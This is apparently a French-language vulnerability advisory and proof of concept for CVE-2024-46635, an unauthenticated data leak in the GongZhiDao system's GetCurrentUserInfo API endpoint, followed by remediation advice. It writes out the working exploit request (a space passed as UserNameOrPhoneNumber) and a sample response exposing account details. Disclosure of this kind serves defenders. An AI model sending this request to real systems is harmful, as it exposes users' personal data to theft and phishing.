
Preuve de concept pour CVE-2024-46635 : une vulnérabilité de validation d'entrée incorrecte dans le point de terminaison API du système GongZhiDao qui expose des informations sensibles des utilisateurs sans authentification.
Le système GongZhiDao est une plateforme développée par GongZhiDao. Il fournit des solutions d'entreprise incluant la gestion des utilisateurs, l'analyse de données et des fonctionnalités opérationnelles. Cependant, une vulnérabilité de sécurité a été découverte dans l'un des points d'accès API qui pourrait potentiellement entraîner l'exposition d'informations sensibles des utilisateurs sans autorisation appropriée.
Une vulnérabilité existe dans le point d'accès API /oaa/api/AccountMaster/GetCurrentUserInfo du système GongZhiDao. En passant %20 (un espace encodé en URL) à la place du paramètre UserNameOrPhoneNumber, l'API répond avec des informations sensibles des utilisateurs, y compris l'identifiant du compte, le nom d'utilisateur et l'adresse e-mail, même sans authentification ou autorisation appropriée. Cette validation incorrecte des entrées permet aux attaquants d'accéder de manière non autorisée à des données sensibles.
Une exploitation réussie de cette vulnérabilité pourrait entraîner l'exposition de données sensibles des utilisateurs, notamment :
Un attaquant pourrait utiliser ces informations pour mener d'autres attaques, telles que l'usurpation d'identité ou le hameçonnage.
Pour exploiter la vulnérabilité, un attaquant doit envoyer une requête HTTP GET spécialement conçue au point d'accès API vulnérable :
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
Cette requête retourne une réponse 200 OK avec des données sensibles des utilisateurs au format JSON :
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber avec %20 comme entréeMettre en place une validation appropriée des entrées : Assurez-vous que le paramètre UserNameOrPhoneNumber est correctement nettoyé et validé. Les entrées telles que %20 doivent être rejetées.
Vérifications d'autorisation : Mettez en place des mécanismes d'autorisation appropriés pour garantir que seuls les utilisateurs authentifiés et autorisés peuvent accéder aux informations sensibles.
Limitation de débit et surveillance : Appliquez une limitation de débit aux points d'accès API pour prévenir les attaques par force brute ou automatisées, et surveillez l'activité API pour détecter des schémas d'accès anormaux.
Cette vulnérabilité a été découverte par hithub.